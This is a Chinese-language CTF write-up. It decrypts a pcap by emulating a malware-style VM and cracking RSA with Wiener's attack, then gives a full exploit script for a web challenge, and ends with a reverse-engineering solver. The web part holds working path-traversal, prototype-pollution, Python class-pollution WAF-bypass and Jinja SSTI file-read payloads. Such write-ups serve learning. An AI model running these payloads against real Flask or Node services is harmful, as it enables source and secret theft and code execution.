0xa87a0:128-byte blocks -> 126-byte blocks
0xa8950:<=126-byte blocks -> 128-byte blocks
0xa98c0:VM 解释器
0xaa200:特殊指令,调用 popen("/bin/sh", "r")

RSA

0xa87a0

每 128 字节做一次gmpz_import

调用mpz_powm

gmpz_export` 后将结果右对齐到 126 字节

说明type=2的 payload 是按 128 字节分块的“密文”,解开后得到 126 字节一块的 VM 字节码。

0xa8950则是反方向:

以最多 126 字节为一块导入整数

调用mpz_powm

导出到 128 字节块

所以type=3正是客户端把输出重新做 RSA 包装后的结果。

VM 解释器

VM 状态结构:

state[0x00..0x1f]`:8 个寄存器

state+0x20`:IP

state+0x24:SP,初始化为 0xfffc

state+0x28`:FLAGS

state+0x2c:代码/数据区起点

state+0x10030`:输出缓冲区

state+0x11030:输出长度

最重要的特殊指令是:

0xa9a98:把内存中的字符串附加到输出缓冲区

0xaa200:把reg0指向的字符串作为 shell 命令执行

用 Unicorn 直接跑 VM

让 ELF 自己的0xa98c0跑起来,在0xaa200处下断点,把真实命令字符串读出来。

这样可以恢复所有type=2的命令链。

提取结果如下:

frame 95 : ls

frame 98 : tar -zcvf flag.tar flag.txt

frame 101 : ls

frame 104 ~ 167 :

openssl enc -aes-256-cbc -salt -pbkdf2 -pass pass:<32字节口令> -in flag.enc.(N-1).tar -out flag.enc.N.tar

frame 170 : ls

frame 173 : base64 flag.enc.32.tar

这一步说明了整个攻击链:

先把flag.txt打包成flag.tar

连续 32 次openssl enc -aes-256-cbc -salt -pbkdf2

最后把flag.enc.32.tar做base64并回传

解开type=3回包

从frame 171验证场景

frame 170是ls,紧接着的frame 171是客户端回包。

对frame 171的type=3载荷分块做 RSA 逆运算后,可以得到明文目录列表:

flag.enc.10.tar

flag.enc.11.tar

flag.enc.32.tar

flag.tar

flag.txt

这一步证明回包恢复方向是对的。

Wiener attack

握手给出的指数e很大,但对应私钥极小,满足 Wiener attack 条件。

对(n, e)做 Wiener attack 后,恢复得到:

d = 860201604545360308442551

同时还恢复出了:

p = 11877272917836626308960275230687450079236367324739018015413817886625776113530658983611648222791641969404215281409842845774830578014520293521567446317075819

q = 9433509551723919601460798400366103605447451017912216295247603680322220803875809726613917618576729827825866195645060895561752471052682806806335478348074259

然后就可以用pow(c, d, n)解出type=3回包。

恢复frame 174

frame 173下发的命令是:

base64 flag.enc.32.tar

所以frame 174解出来的就是它的 base64 文本。前缀为:

U2FsdGVkX19hdUdldfZ1ljqDFSx8XnjLZQU3scpSwQoYqRNMCikRbVPMc+2OJPl+...

U2FsdGVkX1是 OpenSSL Salted__文件头的 base64,和前面的命令链完全对应。

逆 32 层 OpenSSL

从命令链里提取出 32 个-pass pass:...口令,按逆序逐层执行:

openssl enc -d -aes-256-cbc -salt -pbkdf2 -pass pass: -in flag.enc.i.tar -out flag.enc.(i-1).tar

exp

from future import annotations

import base64
import math
import shutil
import struct
import subprocess
import tarfile
from dataclasses import dataclass
from pathlib import Path

from elftools.elf.elffile import ELFFile
from unicorn import Uc, UC_ARCH_X86, UC_HOOK_CODE, UC_MODE_64
from unicorn.x86_const import UC_X86_REG_RDI, UC_X86_REG_RIP, UC_X86_REG_RSP


ROOT = Path(r"E:\Codex Work Folder")
PCAP = ROOT / "captchated.pcapng"
BASH = ROOT / "pcap_extract" / "bash"

PAGE = 0x1000
STACK_BASE = 0x70000000
STACK_SIZE = 0x200000
STOP_ADDR = 0x71000000
STATE_BASE = 0x72000000
STATE_SIZE = 0x200000

AA200 = 0xAA200


@dataclass
class Packet:
    frame: int
    src: str
    dst: str
    typ: int
    payload: bytes


@dataclass
class HandshakeKey:
    modulus: int
    exponent: int


def run_tshark(*args: str) -> str:
    cmd = ["tshark", "-r", str(PCAP), *args]
    return subprocess.check_output(cmd, text=True, encoding="utf-8", errors="ignore")


def parse_packets() -> list[Packet]:
    out = run_tshark(
        "-Y",
        "tcp.stream eq 1 && tcp.payload",
        "-T",
        "fields",
        "-e",
        "frame.number",
        "-e",
        "ip.src",
        "-e",
        "ip.dst",
        "-e",
        "tcp.payload",
    )
    packets: list[Packet] = []
    for line in out.splitlines():
        frame_s, src, dst, hex_payload = line.split("\t")
        raw = bytes.fromhex(hex_payload)
        if raw[:4] != b"DSMV":
            continue
        pkt_type = int.from_bytes(raw[4:8], "big")
        payload_len = int.from_bytes(raw[8:12], "big")
        payload = raw[12 : 12 + payload_len]
        packets.append(Packet(int(frame_s), src, dst, pkt_type, payload))
    return packets


def parse_handshake(packets: list[Packet]) -> HandshakeKey:
    first = next(packet for packet in packets if packet.typ == 1)
    modulus_hex, exponent_hex = first.payload.decode().split("|", 1)
    return HandshakeKey(int(modulus_hex, 16), int(exponent_hex, 16))


def load_segments() -> list[tuple[int, bytes, int]]:
    with BASH.open("rb") as f:
        elf = ELFFile(f)
        return [
            (seg["p_vaddr"], seg.data(), seg["p_memsz"])
            for seg in elf.iter_segments()
            if seg["p_type"] == "PT_LOAD"
        ]


SEGMENTS = load_segments()


def build_uc() -> Uc:
    uc = Uc(UC_ARCH_X86, UC_MODE_64)
    for vaddr, data, memsz in SEGMENTS:
        base = vaddr & ~(PAGE - 1)
        end = (vaddr + memsz + PAGE - 1) & ~(PAGE - 1)
        uc.mem_map(base, end - base)
        uc.mem_write(vaddr, data)
    uc.mem_map(STACK_BASE, STACK_SIZE)
    uc.mem_map(STOP_ADDR & ~(PAGE - 1), PAGE)
    uc.mem_map(STATE_BASE, STATE_SIZE)
    uc.mem_write(STOP_ADDR, b"\xF4")
    return uc


def decrypt_type2(payload: bytes, key: HandshakeKey) -> bytes:
    out = bytearray()
    for off in range(0, len(payload), 128):
        block = payload[off : off + 128]
        value = int.from_bytes(block, "big")
        plain = pow(value, key.exponent, key.modulus)
        out += plain.to_bytes(126, "big")
    return bytes(out)


def decrypt_type3(payload: bytes, modulus: int, private_exp: int) -> bytes:
    out = bytearray()
    for off in range(0, len(payload), 128):
        block = payload[off : off + 128]
        value = int.from_bytes(block, "big")
        plain = pow(value, private_exp, modulus)
        block_len = max(1, (plain.bit_length() + 7) // 8)
        out += plain.to_bytes(block_len, "big")
    return bytes(out)


def read_c_string(uc: Uc, addr: int, limit: int = 0x1000) -> str:
    data = bytearray()
    for _ in range(limit):
        byte = uc.mem_read(addr, 1)
        if byte == b"\x00":
            break
        data += byte
        addr += 1
    return data.decode("latin1", errors="replace")


def emulate_vm(code: bytes) -> dict[str, object]:
    uc = build_uc()
    state = bytearray(0x11038)
    struct.pack_into("<I", state, 0x24, 0xFFFC)
    state[0x2C : 0x2C + len(code)] = code
    uc.mem_write(STATE_BASE, bytes(state))

    sp = STACK_BASE + STACK_SIZE - 0x1000
    uc.reg_write(UC_X86_REG_RSP, sp)
    uc.mem_write(sp, struct.pack("<Q", STOP_ADDR))
    uc.reg_write(UC_X86_REG_RDI, STATE_BASE)

    events: list[tuple[str, str]] = []

    def on_code(uc: Uc, addr: int, _size: int, _user: object) -> None:
        if addr != AA200:
            return
        reg0 = struct.unpack("<I", uc.mem_read(STATE_BASE, 4))[0]
        cmd = read_c_string(uc, STATE_BASE + 0x2C + reg0, 0x200)
        events.append(("popen", cmd))
        uc.emu_stop()

    uc.hook_add(UC_HOOK_CODE, on_code)
    uc.emu_start(0xA98C0, STOP_ADDR)
    out_len = struct.unpack("<Q", uc.mem_read(STATE_BASE + 0x11030, 8))[0]
    out_data = bytes(uc.mem_read(STATE_BASE + 0x10030, out_len))
    return {
        "events": events,
        "out_len": out_len,
        "out_data": out_data,
        "rip": uc.reg_read(UC_X86_REG_RIP),
    }


def continued_fraction(num: int, den: int) -> list[int]:
    items: list[int] = []
    while den:
        a = num // den
        items.append(a)
        num, den = den, num - a * den
    return items


def convergents(cf: list[int]) -> list[tuple[int, int]]:
    result: list[tuple[int, int]] = []
    n0, d0 = 1, 0
    n1, d1 = cf[0], 1
    result.append((n1, d1))
    for a in cf[1:]:
        n0, n1 = n1, a * n1 + n0
        d0, d1 = d1, a * d1 + d0
        result.append((n1, d1))
    return result


def wiener_attack(modulus: int, exponent: int) -> tuple[int, int, int]:
    cf = continued_fraction(exponent, modulus)
    for k, d in convergents(cf):
        if k == 0:
            continue
        if (exponent * d - 1) % k:
            continue
        phi = (exponent * d - 1) // k
        s = modulus - phi + 1
        disc = s * s - 4 * modulus
        if disc < 0:
            continue
        t = math.isqrt(disc)
        if t * t != disc:
            continue
        p = (s + t) // 2
        q = (s - t) // 2
        if p * q == modulus:
            return d, p, q
    raise ValueError("Wiener attack failed")


def parse_command_chain(packets: list[Packet], key: HandshakeKey) -> list[tuple[int, str]]:
    chain: list[tuple[int, str]] = []
    for packet in packets:
        if packet.typ != 2:
            continue
        plain = decrypt_type2(packet.payload, key)
        code_len = int.from_bytes(plain[:4], "big")
        code = plain[4 : 4 + code_len]
        vm = emulate_vm(code)
        for kind, value in vm["events"]:
            if kind == "popen":
                chain.append((packet.frame, value))
    return chain


def parse_passwords(chain: list[tuple[int, str]]) -> list[str]:
    passwords: list[str] = []
    for _, command in chain:
        marker = "-pass pass:"
        if marker not in command:
            continue
        passwords.append(command.split(marker, 1)[1].split(" ", 1)[0])
    return passwords


def find_packet(packets: list[Packet], frame: int) -> Packet:
    return next(packet for packet in packets if packet.frame == frame)


def find_openssl() -> str:
    candidates = [
        shutil.which("openssl"),
        shutil.which("openssl.exe"),
        r"C:\msys64\ucrt64\bin\openssl.exe",
    ]
    for candidate in candidates:
        if candidate and Path(candidate).exists():
            return candidate
    raise FileNotFoundError("openssl executable not found")


def main() -> None:
    packets = parse_packets()
    key = parse_handshake(packets)
    private_exp, p, q = wiener_attack(key.modulus, key.exponent)

    print(f"[+] n = {key.modulus:x}")
    print(f"[+] e = {key.exponent:x}")
    print(f"[+] Wiener private d = {private_exp}")
    print(f"[+] p = {p}")
    print(f"[+] q = {q}")

    chain = parse_command_chain(packets, key)
    print("[+] Extracted VM command chain:")
    for frame, command in chain:
        print(f"    frame {frame}: {command}")

    frame_171 = find_packet(packets, 171)
    frame_174 = find_packet(packets, 174)
    listing = decrypt_type3(frame_171.payload, key.modulus, private_exp).decode()
    base64_blob = decrypt_type3(frame_174.payload, key.modulus, private_exp).decode()

    print("frame 171 plaintext:")
    print(listing)
    print(" frame 174 base64 prefix:")
    print(base64_blob[:160])

    enc_tar = base64.b64decode(base64_blob)
    enc_tar_path = ROOT / "flag.enc.32.tar"
    enc_tar_path.write_bytes(enc_tar)
    print(f" Wrote {enc_tar_path} ({len(enc_tar)} bytes)")

    passwords = parse_passwords(chain)
    if len(passwords) != 32:
        raise ValueError(f"expected 32 passwords, got {len(passwords)}")

    openssl = find_openssl()
    current = enc_tar_path
    for layer, password in reversed(list(enumerate(passwords, start=1))):
        out_path = ROOT / (f"flag.dec.{layer - 1}.tar" if layer > 1 else "flag.tar")
        cmd = [
            openssl,
            "enc",
            "-d",
            "-aes-256-cbc",
            "-salt",
            "-pbkdf2",
            "-pass",
            f"pass:{password}",
            "-in",
            str(current),
            "-out",
            str(out_path),
        ]
        result = subprocess.run(cmd, capture_output=True, text=True)
        if result.returncode != 0:
            raise RuntimeError(f"openssl failed at layer {layer}: {result.stderr}")
        print(f" Decrypted layer {layer:02d} -> {out_path.name}")
        current = out_path

    extract_dir = ROOT / "flag_tar_extracted"
    extract_dir.mkdir(exist_ok=True)
    with tarfile.open(current, "r") as tar:
        tar.extractall(extract_dir)

    flag_path = extract_dir / "flag.txt"
    flag = flag_path.read_text().strip()
    print(f"flag path: {flag_path}")
    print(f"FLAG: {flag}")


if name == "main":
    main()

Web-asystem

考的是多漏洞利用链,主要有两个组件

Flask网关和nodejs文件处理

利用链如下:flask的/download任意文件读取获取前后端源码,之后在node的kmz解析链里触发原型污染注入fix_secret,然后调用flask /api/fix_secret间接执行node的/admin?fix=true,利用/register对象属性污染清空WAF,最后利用/protected的SSTI读flag

题目给了源码,首先审计一下

@app.route('/download', methods=['GET'])
def download_file():
    filename = request.args.get("filename")
    if not filename:
        return {"error": "..."}, 400

    if "flag" in filename.lower() or "config" in filename.lower():
        return "you cant"

    if filename.startswith("/"):
        file_path = "/datas/upload_files" + filename
    else:
        file_path = "/datas/upload_files/" + filename

    return send_file(file_path, as_attachment=True)

可以发现filename被直接拼接到路径后面,缺失路径归一化和目录限制,而且WAF只有flag和config,可以尝试路径穿越

构建payload尝试获取远端的源码,确认与下发的一致

/download?filename=../../proc/self/cwd/app.py

利用同样的方式获取nodejs的源码

/download?filename=../../server/app.js

在里面提取出关键逻辑

const CONFIG_PATH = path.join(__dirname, 'config');

let admin_secret = '';
try {
  admin_secret = fs.readFileSync(CONFIG_PATH, 'utf8');
} catch (err) {
  admin_secret = '';
}

app.get('/admin', (req, res) => {
  const ip = req.ip || req.socket.remoteAddress || '';

  const isLocal =
    ip === '127.0.0.1' ||
    ip === '::1' ||
    ip === '::ffff:127.0.0.1';

  if (!isLocal) {
    return res.status(403).json({
      code: 403,
      message: 'forbidden',
      ip: ip
    });
  }

  const fix = req.query.fix;

  if (fix === 'true' && FIX_SECRET !== undefined) {
    fs.writeFileSync(CONFIG_PATH, String(FIX_SECRET), 'utf8');
    admin_secret = String(FIX_SECRET);

    return res.json({
      code: 0,
      message: 'fixed',
      data: {
        admin_secret: admin_secret
      }
    });
  }

  return res.json({
    code: 0,
    message: 'ok',
    data: {
      admin_secret: admin_secret
    }
  });
});

可以看到/admin只能本地访问,而且/admin?fix=true的变量是缺失的,如果我们补全这个fix_secret就可以间接外部访问admin

if (ext === '.kmz') {
    const safeFilename = buildSafeFilename(originalname);
const kmzPath = path.join(ARC_DIR, safeFilename);

fs.writeFileSync(kmzPath, req.file.buffer);

try {
    parseKMZ.toKML(kmzPath).then((kmlString) => {
        parser.xmlToJson(kmlString, (err,json)=>{
            if (err) {
            return res.status(500).json({
                code: 5002,
                message: 'kmz parse failed',
                error: err.message,
                stack: err.stack
            });
        }
        const jsonFilename = safeFilename.replace(/\.kmz$/i, '.json');
const jsonPath = path.join(ARC_DIR, jsonFilename);
fs.writeFileSync(jsonPath, JSON.stringify(json, null, 2), 'utf8');

return res.json({
    code: 0,
    message: 'kmz parsed and saved',
    data: {
        originalname: originalname,
        kmzPath: kmzPath,
        jsonPath: jsonPath
    }
});

});
}).catch(console.error);

看kmz分支和其依赖的xml转json的js,可以看到它完全信任 XML 标签名作为对象键名,没有过滤proto、constructor、prototype,可以使用

<__proto__>
  <FIX_SECRET>known-secret</FIX_SECRET>
</__proto__>

进行注入

接下来从flask入手准备开始攻击

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/register', methods=['POST'])
def register():
    raw_str = request.get_data(as_text=True)
    test_waf = raw_str.lower().replace('"', '')
    for word in WAF:
        if word in test_waf:
            return jsonify({'message': 'Invalid input detected', 'word': word}), 400
    data = json.loads(raw_str)
    user = User()
    merge(data, user)

这里merge()会沿着对象属性一直递归进去,所以可以构造

user -> __class__ -> __init__ -> __globals__

进而修改WAF,虽然/register有WAF,但是可以用Unicode直接绕过,从而清掉WAF

然后打/protected的SSTI

@app.route('/protected', methods=['GET'])
def protected():
    current_user = request.args.get('user', 'guest')
    password = request.args.get('password', 'user')
    response = requests.get(f'{NODE_BACKEND_URL}/admin', timeout=5)
    data = response.json()
    admin_secret_value = data['data'].get('admin_secret')

    if password != admin_secret_value:
        return "not allowed"

    if '{{' in current_user or '}}' in current_user:
        return jsonify({'message': 'Invalid input detected', 'word': '{ or }'}), 400

    for word in WAF:
        if word in current_user:
            return jsonify({'message': 'Invalid input detected', 'word': word}), 400

    resp = render_template_string(
        f"Hello, {current_user}! You have access to this protected route."
    )
    return jsonify({'message': f'Hello, {current_user}! You have access to this protected route.'[-40:]})

根据源码,可以看到用户的输入直接被用在render_template_string里,而且没有ban掉{%

{%if EXPRESSION%}{%endif%}

可以尝试使用语句块

{%if cycler.__init__.__globals__.__builtins__.open('/datas/upload_files/out.txt','w').write(
cycler.__init__.__globals__.__builtins__.open('/flag').read())%}{%endif%}

把flag写进文件里,利用获取源码的途径把它也下载到本地

完整exp:

import io
import json
import zipfile

import requests

BASE_URL = "http://web-847ff08497.adworld.xctf.org.cn:80"
OUT_FILE = "out.txt"

def spray_register(session, payload, times=10):
    for i in range(times):
        resp = session.post(
            f"{BASE_URL}/register",
            data=payload,
            headers={
                "Content-Type": "application/json",
                "Connection": "close",
            },
            timeout=10,
        )
        print(f"[register:{i}] {resp.status_code} {resp.text[:120]}")

def build_kmz(xml_text):
    mem = io.BytesIO()
    with zipfile.ZipFile(mem, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("doc.kml", xml_text)
    mem.seek(0)
    return mem.getvalue()

def restore_backend_url(session):
    payload = (
        '{"\\u005f\\u005fclass\\u005f\\u005f":'
        '{"\\u005f\\u005f\\u0069n\\u0069t\\u005f\\u005f":'
        '{"\\u005f\\u005fgloba\\u006cs\\u005f\\u005f":'
        '{"NODE\\u005fBACKEND\\u005fU\\u0052L":"http:\\u002f\\u002f127.0.0.1:3000"}'
        " } } }"
    )
    spray_register(session, payload)

def pollute_node_fix_secret(session):
    xml = "<__proto__><FIX_SECRET>known-secret</FIX_SECRET></__proto__>"
    kmz = build_kmz(xml)
    resp = session.post(
        f"{BASE_URL}/api/upload",
        files={"file": ("pollute.kmz", kmz, "application/vnd.google-earth.kmz")},
        timeout=30,
    )
    print(f"[api/upload] {resp.status_code} {resp.text}")
    resp.raise_for_status()

def fix_admin_secret(session):
    resp = session.get(f"{BASE_URL}/api/fix-secret", timeout=20)
    print(f"[api/fix-secret] {resp.status_code} {resp.text}")
    resp.raise_for_status()
    data = resp.json()
    secret = data["data"]["admin_secret"]
    return secret

def clear_flask_waf(session):
    payload = (
        '{"\\u005f\\u005fclass\\u005f\\u005f":'
        '{"\\u005f\\u005f\\u0069n\\u0069t\\u005f\\u005f":'
        '{"\\u005f\\u005fgloba\\u006cs\\u005f\\u005f":'
        '{"WAF":""}'
        " } } }"
    )
    spray_register(session, payload, times=20)

def read_flag_via_ssti(session, secret):
    payload = (
        "{%if cycler.__init__.__globals__.__builtins__.open('/datas/upload_files/out.txt','w').write("
        "cycler.__init__.__globals__.__builtins__.open('/flag').read())%}{%endif%}"
    )
    resp = session.get(
        f"{BASE_URL}/protected",
        params={"user": payload, "password": secret},
        timeout=20,
    )
    print(f"[protected] {resp.status_code} {resp.text}")
    resp.raise_for_status()

    resp = session.get(
        f"{BASE_URL}/download",
        params={"filename": OUT_FILE},
        timeout=20,
    )
    print(f"[download] {resp.status_code} {resp.text}")
    resp.raise_for_status()
    return resp.text.strip()

def main():
    session = requests.Session()

    restore_backend_url(session)
    pollute_node_fix_secret(session)
    secret = fix_admin_secret(session)
    print(f"[secret] {secret}")

    clear_flask_waf(session)
    flag = read_flag_via_ssti(session, secret)
    print(f"[flag] {flag}")

if __name__ == "__main__":
    main()

Flag:

 flag{20G4XKc7bbRlNL7jrHs9I6yHFNpGWkhw}

Stage3

Reverse-eniffa

shfit+f12在字符串窗口中发现 Enter flag、Wrong、Correct 等关键字符串,说明程序存在典型的输入校验逻辑,可据此定位主函数

在主函数 sub_405726 中,程序先通过 fgets 读取输入,再用 strlen 判断长度是否为 26。随后调用 sub_40564C对输入进行变换,最后与栈上的 26 字节常量进行比较,因此核心就是还原该变换。

在 sub_40564C 中可以看出,程序先对每个字符执行buf[i] = (i + 1) * (input[i] + 2)之后再对整个字节序列进行反转。由于比较目标常量已知,因此可以直接对该过程逆向求解就行了

最后exp

v = list((0x3DC0F1E2952091E6).to_bytes(8, "little"))
v += list((28712).to_bytes(2, "little"))
v += list((0x7B1A99A48ABCDB00).to_bytes(8, "little"))
v += list((0x68DC29A471BEE658).to_bytes(8, "little"))

s = ""
for i in range(26):
    t = v[25 - i]
    for x in range(256):
        if ((i + 1) * (x + 2)) & 0xff == t and chr(x) in "abcdefghijklmnopqrstuvwxyz0123456789_{}":
            s += chr(x)
            break

print(s)

Flag

flag{shiagia00snnrmnkq1j7}